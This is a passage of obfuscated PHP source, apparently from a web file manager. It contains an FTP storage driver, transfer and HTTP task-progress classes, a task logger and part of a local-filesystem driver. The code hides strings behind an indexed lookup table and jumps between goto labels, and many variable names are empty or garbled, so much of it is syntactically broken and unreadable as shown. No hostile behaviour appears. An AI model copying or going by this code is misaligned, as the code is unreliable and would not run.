$܄, !0); $՞ = hash_hmac($[1370], $э, $ǩ, !0); $辸Ȯ = hash_hmac($[1370], $, $՞, !0); $Λη = hash_hmac($[1370], $۸, $辸Ȯ); $՝ = array($[215] => $[12], $[1372] => $[12], $[1328] => $, $[1332] => $ƾ, $[1336] => $۸, $[1373] => $, $[1374] => $ܱ, $[1375] => $܅, $[1376] => $ҍ, $[1377] => $Λη, $[182] => $this->getHost()); return $՝; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ں =& $_SERVER[]; global $config; $this->appCharset = $config[$ں[1378]]; $this->systemCharset = $config[$ں[1379]]; if (isset($[$ں[1380]]) && $[$ں[1380]]) { $this->systemCharset = $[$ں[1380]]; } } public function iconvApp($彆) { return $this->iconvTo($彆, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $⯛ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $⯛[1381]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $⯛[1381]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $⯛[8] . ltrim($, $⯛[8]); } private function _init($څ = array()) { $ =& $_SERVER[]; if (!function_exists($[1382])) { throw new Exception(LNG($[1383])); } $this->config = $څ; $this->charsetReset($څ); foreach ($څ as $ => $͑) { if (isset($this->{$})) { $this->{$} = $͑; } } return $this->_login($څ); } private function _login($Ҩ) { $ =& $_SERVER[]; static $ه = array(); $ = md5(json_encode($Ҩ)); if (isset($ه[$])) { foreach ($ه[$] as $֚ӫ => $) { $this->{$֚ӫ} = $; } return !0; } $ۍ˔ = parse_url(trim($this->server, $[8])); $this->host = $ۍ˔[$[182]]; $з = isset($ۍ˔[$[181]]) && $ۍ˔[$[181]] == $[1384] ? !0 : !1; $this->scheme = $з ? $[1385] : $[1386]; $this->port = isset($ۍ˔[$[183]]) ? $ۍ˔[$[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $); $ه[$] = array($[1387] => $this->connect, $[182] => $this->host, $[181] => $this->scheme, $[183] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ܢ = '', $茳 = REPEAT_RENAME) { if ($this->setContent($, $ܢ)) { return $this->getPathOuter($); } return !1; } public function mkdir($ۣ, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ۣ = $this->iconvSystem($ۣ); if ($this->_isFolder($ۣ) || @ftp_mkdir($this->connect, $ۣ)) { return $this->getPathOuter($ۣ); } if (!$this->mkdir($this->pathFather($ۣ))) { return !1; } if ($ۣ = @ftp_mkdir($this->connect, $ۣ)) { return $this->getPathOuter($ۣ); } return !1; } public function copyFile($ݶ, $) { if (!$this->_isconn()) { return !1; } $Ԟ = $this->pathThis($this->iconvSystem($ݶ)); $ŵ = $this->tempFile($Ԟ); $ȑ = $this->iconvApp($ŵ); $this->download($ݶ, $ȑ); $ = $this->upload($, $ȑ); $this->tempFileRemve($ŵ); return $; } public function moveFile($, $Ρ) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ρ = $this->iconvSystem($Ρ); $Ҽƈ = @ftp_rename($this->connect, $, $Ρ); return $Ҽƈ ? $this->getPathOuter($Ρ) : !1; } public function delFile($ʊ) { if (!$this->_isconn()) { return !1; } $ʊ = $this->iconvSystem($ʊ); return @ftp_delete($this->connect, $ʊ); } public function delFolder($ҝ) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($ҝ, $, $, !0); $this->listItemCache = !0; foreach ($ as $Ԡ) { $ = $this->iconvSystem($Ԡ[$_SERVER[][32]]); $ǎɥ = @ftp_delete($this->connect, $); if (!$ǎɥ) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ǎɥ = @ftp_rmdir($this->connect, $); if (!$ǎɥ) { return !1; } } $ҝ = $this->iconvSystem($ҝ); return @ftp_rmdir($this->connect, $ҝ); } public function rename($, $Ѫ) { $Ͻ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $δ = $this->fileNameAuto($this->pathFather($), $Ѫ); $δ = $this->iconvSystem($δ); $ = $this->iconvSystem($); $ = $this->pathFather($); $¸ = rtrim($, $Ͻ[8]) . $Ͻ[8] . $δ; $ = @ftp_rename($this->connect, $, $¸); $¸ = $this->iconvApp($¸); return $ ? $this->getPathOuter($¸) : !1; } private function folderInfo($䕎ќ, $ᦦ工 = false) { $訔 =& $_SERVER[]; $ͺ = array($訔[32] => $this->pathThis($䕎ќ), $訔[84] => $this->getPathOuter($訔[8] . $䕎ќ), $訔[33] => $訔[75]); if ($ᦦ工) { return $ͺ; } $ͺ[$訔[201]] = $ͺ[$訔[85]] = 0; $ͺ[$訔[202]] = $ͺ[$訔[203]] = !0; return $ͺ; } private function fileInfo($, $ㅽȈ = false, $ = array()) { $ =& $_SERVER[]; $ʑ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($)); if ($ㅽȈ) { return $ʑ; } $ʑ[$[201]] = $ʑ[$[85]] = 0; $ʑ[$[202]] = $ʑ[$[203]] = !0; $ = $this->iconvSystem($); $ʑ[$[85]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $ʑ; } } $ʑ[$[76]] = $[$[76]]; return $ʑ; } public function size($闑) { $ = $this->objectMeta($闑); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ɗ, &$, &$, $ɶ = false) { $ =& $_SERVER[]; $ɗ = $this->iconvSystem($ɗ); if (!$this->isFolder($ɗ)) { return !1; } @ftp_chdir($this->connect, $[8]); $ɗ = rtrim($ɗ, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ɗ); if (!$) { $ = array(); } $剂 = array($[10] => 1, $[1388] => 1); foreach ($ as $) { $ܽ = $this->_listItem($); if ($ܽ[0] == $[757]) { continue; } $ = $ܽ[8]; if (empty($) && $ !== $[198] || isset($剂[$])) { continue; } $ = $this->iconvApp($ɗ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[200], $[76] => $ܽ[4]); if (substr($, 0, 1) == $[1389]) { $[$[33]] = $[75]; $[$[76]] = 0; } $ޮ = $[$[33]] == $[75] ? !0 : !1; $this->cacheMethodInfoSet($, $ޮ, $); if ($ޮ) { $[] = $; if ($ɶ) { $this->fileList($, $, $, $ɶ); } continue; } $[] = $; } $this->cacheMethodInfoSet($ɗ, !0); } private function _listItem($謄) { if (empty($謄)) { return array(); } $ԭ® = preg_split($_SERVER[][1390], $謄); if (count($ԭ®) <= 9) { return $ԭ®; } $ԭ®[8] = trim(substr($謄, strpos($謄, $ԭ®[7]) + strlen($ԭ®[7]))); return array_splice($ԭ®, 0, 9); } public function listPath($, $̜ = false) { $Ĵ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $Ӽ = array(); $this->fileList($, $, $Ӽ); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $̜); } foreach ($Ӽ as $ => $) { $Ӽ[$] = $this->fileInfo($[$Ĵ[32]], $̜, $); } return array($Ĵ[82] => $, $Ĵ[83] => $Ӽ); } public function has($ڍ, $̡ = false, $Ű = true) { $ŋĂ =& $_SERVER[]; $۰ = $ = array(); $ĆҪ = $̡ ? !0 : !1; $this->fileList($ڍ, $۰, $, $ĆҪ); if ($̡) { return array($ŋĂ[207] => count($), $ŋĂ[208] => count($۰)); } if ($Ű) { if (count($)) { return !0; } } else { if (count($۰)) { return !0; } } return !1; } public function listAll($) { $˘ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ぢÀ = $ = array(); $this->fileList($, $ぢÀ, $, !0); $Nj = array_to_keyvalue($, $˘[32]); foreach ($ぢÀ as $Ӻ) { if (is_string($Ӻ)) { $Nj[$Ӻ] = array($˘[76] => 0); } } return $this->listAllFiles($, $Nj); } public function getContent($Œ) { if (!$this->_isconn()) { return !1; } $Œ = $this->iconvSystem($Œ); return $this->fileSubstr($Œ); } public function setContent($, $Nj = '') { if (!$this->_isconn()) { return !1; } $ǔ = $this->pathThis($this->iconvSystem($)); $ٶƸ = $this->tempFile($ǔ); file_put_contents($ٶƸ, $Nj); $ɭɑ = $this->upload($, $this->iconvApp($ٶƸ)); $this->tempFileRemve($ٶƸ); return $ɭɑ; } public function fileSubstr($, $Ӫ = 0, $⸄ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $Ӫ, $⸄); } private function ftpRequest($ʩ, $ = 0, $Õ = false) { $ʩ = $this->iconvSystem($ʩ); $ϔݦ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ϔݦ . $this->pathEncode($ʩ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($Õ) { $ = $ + $Õ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $, $Р = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($ݦɝ, $ = '') { if (!$this->_isconn()) { return !1; } $˸Ҟ = $this->pathFather($); if (!IO::mkdir($˸Ҟ)) { return !1; } $ݦɝ = $this->iconvSystem($ݦɝ); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $ݦɝ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($㮛쒼) { return $this->isFile($㮛쒼) || $this->isFolder($㮛쒼); } public function isFile($ŏ) { return !$this->isFolder($ŏ) && $this->objectMeta($ŏ); } public function isFolder($ꐠ) { return $this->cacheMethod($_SERVER[][165], $ꐠ); } protected function objectMeta($ٿ) { return $this->cacheMethod($_SERVER[][167], $ٿ); } protected function _objectMeta($Ӫ) { $ =& $_SERVER[]; if ($Ӫ == $[12] || $Ӫ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $Ӫ = $this->iconvSystem($Ӫ); $斜 = array($[32] => $this->iconvApp($Ӫ), $[33] => $[200], $[76] => 0); @ftp_chdir($this->connect, $[8]); $˟ = @ftp_size($this->connect, $Ӫ); if ($˟ != -1) { $斜[$[76]] = $˟; } else { $ = @ftp_chdir($this->connect, $Ӫ); if (!$) { return !1; } $斜[$[33]] = $[75]; } return $斜; } protected function _isFolder($) { $Ȏ˓ =& $_SERVER[]; if ($ == $Ȏ˓[12] || $ == $Ȏ˓[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$Ȏ˓[33]]) && $[$Ȏ˓[33]] == $Ȏ˓[75] ? !0 : !1; } } goto E; DƏ: class TaskFileTransfer extends Task { protected function startAfter() { $۷ =& $_SERVER[]; $į՟ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($۷[1700], array($this, $۷[1701])); Hook::bind($۷[1225], array($this, $۷[1702])); Hook::bind($۷[1703], array($this, $۷[1704])); Hook::bind($۷[596], array($this, $۷[1705])); Hook::bind($۷[597], array($this, $۷[1706])); Hook::bind($۷[602], array($this, $۷[1707])); Hook::bind($۷[603], array($this, $۷[1708])); Hook::bind($۷[599], array($this, $۷[1709])); Hook::bind($۷[600], array($this, $۷[1710])); Hook::bind($۷[565], array($this, $۷[1711])); Hook::bind($۷[562], array($this, $۷[1711])); Hook::bind($۷[567], array($this, $۷[1711])); Hook::bind($۷[569], array($this, $۷[1711])); Hook::bind($۷[571], array($this, $۷[1711])); Hook::bind($۷[1712], array($this, $۷[1713])); Hook::bind($۷[587], array($this, $۷[1714])); $this->sourceModelCopyFlag = !1; Hook::bind($۷[1715], array($this, $۷[1716])); Hook::bind($۷[1717], array($this, $۷[1718])); Hook::bind($۷[1719], array($this, $۷[1720])); $į՟[$۷[1721]] = LNG($۷[1722]); $į՟[$۷[1723]] = 0; $į՟[$۷[1724]] = 0; $į՟[$۷[1066]] = $۷[12]; $į՟[$۷[1725]] = $۷[12]; $į՟[$۷[1726]] = 0; $į՟[$۷[1727]] = 0; $į՟[$۷[1728]] = 0; if (!$į՟[$۷[1570]]) { $į՟[$۷[1570]] = LNG($۷[1729]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1700], array($this, $[1701])); Hook::unbind($[1225], array($this, $[1702])); Hook::unbind($[1703], array($this, $[1704])); Hook::unbind($[596], array($this, $[1705])); Hook::unbind($[597], array($this, $[1706])); Hook::unbind($[602], array($this, $[1707])); Hook::unbind($[603], array($this, $[1708])); Hook::unbind($[599], array($this, $[1709])); Hook::unbind($[600], array($this, $[1710])); Hook::unbind($[565], array($this, $[1711])); Hook::unbind($[562], array($this, $[1711])); Hook::unbind($[567], array($this, $[1711])); Hook::unbind($[569], array($this, $[1711])); Hook::unbind($[571], array($this, $[1711])); Hook::unbind($[1712], array($this, $[1713])); Hook::unbind($[587], array($this, $[1714])); Hook::unbind($[1715], array($this, $[1716])); Hook::unbind($[1717], array($this, $[1718])); Hook::unbind($[1719], array($this, $[1720])); } public function copyMoveStart($뎀, $Δ, $, $) { $Ʉ =& $_SERVER[]; self::log($Ʉ[1730] . $Δ . $Ʉ[70] . $); $õ = rtrim(TEMP_FILES, $Ʉ[8]); if (substr($Δ, 0, strlen($õ)) == $õ) { return; } if (substr($, 0, strlen($õ)) == $õ) { return; } $ =& $this->task; $[$Ʉ[1731]] = KodIO::transferType($뎀, $); $this->update(); } public function updateAfter() { $ᵿ =& $_SERVER[]; $ =& $this->task; if (!$[$ᵿ[762]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$ᵿ[1731]] == $ᵿ[1314]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1731]] == $[1196] || $[$[1731]] == $[107]) { if ($[$[1725]]) { $[$[1728]] = $[$[1727]] + $[$[1724]]; } } else { if ($[$[1731]] == $[1315]) { if ($[$[1725]] == $[1196]) { $[$[1728]] = $[$[1727]] + $[$[1724]] * 0.5; } else { if ($[$[1725]] == $[107]) { $[$[1728]] = $[$[1727]] + $[$[1723]] * 0.5 + $[$[1724]] * 0.5; } } } } $[$[1672]] = $[$[1728]] / $[$[762]]; if ($[$[1672]] > 0) { $ = timeFloat() - $[$[1674]] - $[$[1677]]; $[$[1678]] = $ * (1 - $[$[1672]]) / $[$[1672]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $Ļ = IO::infoWithChildren($); $Ӿ = $[$ [1732]] ? $[$ [1732]][$ [1733]] : 0; $[$ [1732]] = array($ [1733] => $Ӿ + 1, $ [420] => $Ļ[$ [32]], $ [84] => $Ļ[$ [84]], $ [509] => $Ļ[$ [509]] ? $Ļ[$ [509]] : $Ļ[$ [84]]); if ($Ļ[$ [33]] == $ [200]) { $[$ [785]] += 1; } else { $[$ [785]] += $Ļ[$ [79]][$ [77]]; if ($Ļ[$ [402]]) { $[$ [785]] += $Ļ[$ [79]][$ [78]] + 1; } } $[$ [762]] += $Ļ[$ [76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($̃) { } public function sourceAddFileStart($) { $岮 =& $_SERVER[]; $ō =& $this->task; $ō[$岮[1723]] = $[$岮[76]]; $ō[$岮[1721]] = $[$岮[32]]; $ō[$岮[1066]] = $[$岮[32]]; $ō[$岮[1734]] = $[$岮[84]]; $this->update(); } public function sourceAddFileEnd($ټ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1728]] += $ټ[$[76]]; $[$[1734]] = $ټ[$[84]]; $this->update(1); } public function copyFileStart($, $ۊ, $, $Ў, $, $Ħ) { $ =& $_SERVER[]; $í = $; if ($í == $GLOBALS[$[1735]]) { $í = $GLOBALS[$[1736]]; } $GLOBALS[$[1736]] = $; $GLOBALS[$[1735]] = $Ħ; $䬟 =& $this->task; $䬟[$[1721]] = $í; $䬟[$[1723]] = (int) $->size($ۊ); $䬟[$[1724]] = 0; $䬟[$[1066]] = $[12]; $䬟[$[1725]] = $[12]; $䬟[$[1726]] = 0; $ѵ = $䬟[$[1723]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($䬟[$[399]] . $[1737]); if ($ѵ && file_exists(get_path_father($Ў))) { Cache::set($䬟[$[399]] . $[1737], $Ў); $䬟[$[1694]] = array($[1738], $[1739]); } $this->update(0, $ѵ); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $٥ = Cache::get($[$[399]] . $[1737]); if (!$٥ || !file_exists($٥)) { return $; } $[$[1724]] = @filesize($٥); $[$[1728]] += $[$[1724]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $܊, $ܽ, $) { $ޥ =& $_SERVER[]; $ܭ =& $this->task; $ܭ[$ޥ[1724]] = $ܭ[$ޥ[1723]]; $ܭ[$ޥ[1725]] = $ޥ[12]; unset($ܭ[$ޥ[1694]]); if ($ܽ == $ܭ[$ޥ[1721]]) { $ܭ[$ޥ[1727]] += $ܭ[$ޥ[1723]]; $ܭ[$ޥ[1728]] = $ܭ[$ޥ[1727]]; $٬ = 1; if (isset($ܭ[$ޥ[1734]]) && $ܭ[$ޥ[1734]] == $) { $٬ = 0; } $this->update($٬); } else { $this->update(); $ܭ[$ޥ[1724]] = 0; } Cache::remove($ܭ[$ޥ[399]] . $ޥ[1737]); self::log($ޥ[1740] . $ . $ޥ[70] . $܊ . $ޥ[231] . $ܽ . $ޥ[1741] . $ܭ[$ޥ[1721]]); } public function updateFileEnd($, $) { $襺 =& $_SERVER[]; $ =& $this->task; $[$襺[1721]] = $; $[$襺[1723]] = $; $[$襺[1727]] += $; $[$襺[1728]] = $[$襺[1727]]; $this->update(1); self::log($襺[1742] . $); } public function sourceModelCopy($) { $ҩ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $̞ = 0; switch ($) { case $ҩ[563]: $̞ = 1; break; case $ҩ[566]: $[$ҩ[1721]] = $[$ҩ[32]]; break; case $ҩ[568]: $̞ = intval($[$ҩ[380]] * 0.4); break; case $ҩ[570]: $̞ = intval($[$ҩ[380]] * 0.2); break; case $ҩ[572]: $̞ = intval($[$ҩ[380]] * 0.4); break; } $this->update($̞); $this->sourceModelCopyFlag = !1; } public function sourceRemove($Ө, $Ƴ冪) { $δ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ٶ٪ = 1; if (isset($Ө[$δ[79]])) { $ٶ٪ = $Ө[$δ[79]][$δ[77]]; $ٶ٪ = $ٶ٪ + $Ө[$δ[79]][$δ[78]] + 1; } $this->update($ٶ٪); $this->sourceModelCopyFlag = !1; } public function sourceMove($ވ영) { $this->sourceRemove($ވ영, !1); } public function curlProgress($ܘ, $, $ޅ, $, $) { $ɰ =& $_SERVER[]; $捛 =& $this->task; if ($ > 0) { $捛[$ɰ[1066]] = $ɰ[1743]; $捛[$ɰ[1725]] = $ɰ[107]; if ($捛[$ɰ[1723]]) { $捛[$ɰ[1724]] = $; } if ($捛[$ɰ[1726]]) { $捛[$ɰ[1724]] = $ + $捛[$ɰ[1726]]; } } else { if ($ޅ > 0) { if ($捛[$ɰ[1723]] == $) { $捛[$ɰ[1724]] = $ޅ; $捛[$ɰ[1066]] = $ɰ[1744]; $捛[$ɰ[1725]] = $ɰ[1196]; } } } $this->update(); } public function curlProgressStart($ߘ) { } public function curlProgressEnd($) { $ȏ =& $_SERVER[]; $ݢ =& $this->task; $Ѯ = curl_getinfo($); $ = $Ѯ[$ȏ[1745]]; if ($ == -1) { $ = $Ѯ[$ȏ[1746]]; } if ($ݢ[$ȏ[1725]] == $ȏ[107] && $) { $ݢ[$ȏ[1726]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $Ÿ =& $_SERVER[]; $홍 =& $this->task; $홍[$Ÿ[1747]] = 1; Hook::bind($Ÿ[1715], array($this, $Ÿ[1748])); Hook::bind($Ÿ[1717], array($this, $Ÿ[1749])); Hook::bind($Ÿ[1719], array($this, $Ÿ[1750])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1715], array($this, $[1748])); Hook::unbind($[1717], array($this, $[1749])); Hook::unbind($[1719], array($this, $[1750])); } public function progressStart($҈) { $ =& $_SERVER[]; $Љ = curl_getinfo($҈); self::log($[1751] . $Љ[$[307]]); self::valueSet($this->task[$[399]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1752] . $this->task[$[399]]); $this->end(); } public function progress($, $胭, $, $, $) { $Ք =& $_SERVER[]; $䅵 =& $this->task; if ($ > 0) { $䅵[$Ք[785]] = $䅵[$Ք[785]] == 0 ? $ : $䅵[$Ք[785]]; $䅵[$Ք[1671]] = $; } else { if ($ > 0) { $䅵[$Ք[785]] = $䅵[$Ք[785]] == 0 ? $胭 : $䅵[$Ք[785]]; $䅵[$Ք[1671]] = $; } } $this->update(); self::log("\x70\162\157\x67\162\145\x73\x73\x48\164\164\160\x3a\x64\157\167\x6e\x3a{$}\x2f{$胭}\73\x20\165\x70\x6c\157\141\144\x3a{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ǁđ = 0, $꓾ = '') { $ϋ =& $_SERVER[]; $ = new Task($, $, $ǁđ, $꓾); $GLOBALS[$ϋ[1753] . $] = new TaskLog($ϋ[1654], $, $꓾); return $; } public function __construct($¡ = '', $ã = '', $ = '') { $ =& $_SERVER[]; if (!$¡) { $¡ = $[1654]; } $ = $¡ . $[386] . rand_string(10); if (!$) { $ = $¡ . $[53] . $; } switch ($¡) { case $[1654]: if (!$ã || !$ã->task) { return echoLog($¡ . $[1754]); } $ = $ã; $ = $->task[$[399]]; $¡ = $->task[$[399]]; if (!$->task[$[1570]]) { $->task[$[1570]] = $ ? $ : $¡; } break; case $[1755]: if (!$ã) { return echoLog($¡ . $[1756]); } $؇ = is_string($ã) ? array($ã) : $ã; $ = new TaskFileTransfer($, $¡, 0, $ ? $ : $؇[0]); foreach ($؇ as $ͼ) { $->addPath($ͼ); } break; case $[313]: if (!$ã) { return echoLog($¡ . $[1756]); } $؇ = is_string($ã) ? array($ã) : $ã; $ = new TaskZip($, $¡, 0, $ ? $ : $؇[0]); foreach ($؇ as $ͼ) { $->addPath($ͼ); } break; case $[1216]: if (!$ã) { return echoLog($¡ . $[1756]); } $ = new TaskUnZip($, $¡, 0, $ ? $ : $ã); if ($ã) { $->addFile($ã); } break; case $[148]: $ = new TaskHttp($, $¡); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1691], array($this, $[1757])); Hook::bind($[1693], array($this, $[1758])); Hook::bind($[1687], array($this, $[1759])); echoLog($[1760] . $->task[$[1570]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ʺ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($ʺ[1691], array($this, $ʺ[1757])); Hook::unbind($ʺ[1693], array($this, $ʺ[1758])); Hook::unbind($ʺ[1687], array($this, $ʺ[1759])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[399]]) { return; } $Ͳ = 20; $т = intval($[$[1672]] * $Ͳ); $ן = $[162] . str_repeat($[886], $т) . $[1016] . str_repeat($[53], $Ͳ - $т) . $[164]; $鹃 = $ן . sprintf($[1761], $[$[1672]] * 100) . $[1762]; $罚 = $鹃 . $[$[1671]] . $[8] . $[$[785]] . LNG($[1763]); $ = $[12]; if ($[$[1747]]) { $罚 = $鹃 . size_format($[$[1671]]) . $[8] . size_format($[$[785]]); $ = size_format($[$[1673]]) . $[1764]; } if ($[$[1066]]) { $[$[1721]] = $[$[1066]] . $[53] . $[$[1721]]; } if ($[$[1721]]) { $˼ = $[12]; if ($[$[1723]]) { $˼ = $[50] . size_format($[$[1724]]) . $[8] . size_format($[$[1723]]); } $ .= $[$[1721]] . $˼; } if ($[$[762]] && !$[$[1723]]) { $ .= $[53] . size_format($[$[1728]]) . $[8] . size_format($[$[762]]); } echoLog($罚 . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[399]]) { return; } $렆 = $ ? $[$[1671]] . $[8] . $[$[785]] . LNG($[1763]) . $[71] : $[12]; echoLog($[1765] . $[$[1570]] . ($[$[453]] ? $[71] . $[$[453]] : $[12]) . $[71] . $렆 . $[1766] . sprintf($[849], timeFloat() - $[$[1674]]) . $[1686]); $this->end(); } public function taskKill($ܴ) { $͡ =& $_SERVER[]; if (!$ܴ || $this->taskID != $ܴ[$͡[399]]) { return; } echoLog($͡[1767] . $ܴ[$͡[1570]]); } } goto f嫐ﶈ; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1381]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($ߗ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ߗ, $config[$[1379]], $config[$[1378]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1378]], $config[$[1379]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1381]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1381]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($ئ, $ = '', $魮 = REPEAT_RENAME) { $ئ = $this->iconvSystem($ئ); @touch($ئ); if ($) { file_put_contents($ئ, $); } @chmod($ئ, $this->pathAuth); return is_file($ئ) ? $this->getPathOuter($ئ) : !1; } public function mkdir($ߐ, $ = REPEAT_SKIP) { $ߐ = $this->iconvSystem($ߐ); if (is_dir($ߐ)) { return $this->getPathOuter($ߐ); } @mkdir($ߐ, $this->pathAuth, !0); @chmod($ߐ, $this->pathAuth); return is_dir($ߐ) ? $this->getPathOuter($ߐ) : !1; } public function copyFile($ح, $ڪ) { $this->mkdir($this->pathFather($ڪ)); $ح = $this->iconvSystem($ح); $ڪ = $this->iconvSystem($ڪ); $ˠ = copy_64($ح, $ڪ); @chmod($ڪ, $this->pathAuth); return $ˠ ? $this->getPathOuter($ڪ) : !1; } public function moveFile($ʊ, $) { $this->mkdir($this->pathFather($)); $ʊ = $this->iconvSystem($ʊ); $ = $this->iconvSystem($); $ѩ = intval(@rename($ʊ, $)); if (!$ѩ) { if ($ѩ = intval(@copy_64($ʊ, $))) { @unlink($ʊ); } } @chmod($, $this->pathAuth); return $ѩ ? $this->getPathOuter($) : !1; } public function movePath($, $ן, $ޫ = false) { $Ӫۘ =& $_SERVER[]; $ = $this->iconvSystem($); $ן = $this->iconvSystem($ן); $À = rtrim($ן, $Ӫۘ[8]) . $Ӫۘ[8] . ($ޫ ? $ޫ : get_path_this($)); if (file_exists($À)) { return !1; } $ = intval(@rename($, $À)); $ = file_exists($À); return $ ? $this->getPathOuter($À) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($拓) { $ӏ =& $_SERVER[]; $拓 = $this->iconvSystem($拓); if (!is_dir($拓)) { return !0; } if (!($߶ = opendir($拓))) { return !1; } while (($ = readdir($߶)) !== !1) { if ($ == $ӏ[10] || $ == $ӏ[1388]) { continue; } $Ϗ = $拓 . $ӏ[8] . $; if (is_file($Ϗ) || is_link($Ϗ)) { if (!unlink($Ϗ)) { chmod($Ϗ, $this->pathAuth); if (!unlink($Ϗ)) { return !1; } } } else { if (is_dir($Ϗ)) { chmod($Ϗ, $this->pathAuth); $Ϗ = $this->iconvApp($Ϗ); if (!$this->delFolder($Ϗ)) { return !1; } } } } closedir($߶); return rmdir($拓); } public function rename($շ̾, $ʈ) { $祷 =& $_SERVER[]; $㑧 = $this->fileNameAuto($this->pathFather($շ̾), $ʈ); $㑧 = $this->iconvSystem($㑧); $շ̾ = $this->iconvSystem($շ̾); $ֲց = $this->pathFather($շ̾); $ = rtrim($ֲց, $祷[8]) . $祷[8] . $㑧; $꽻 = @rename($շ̾, $); $ = 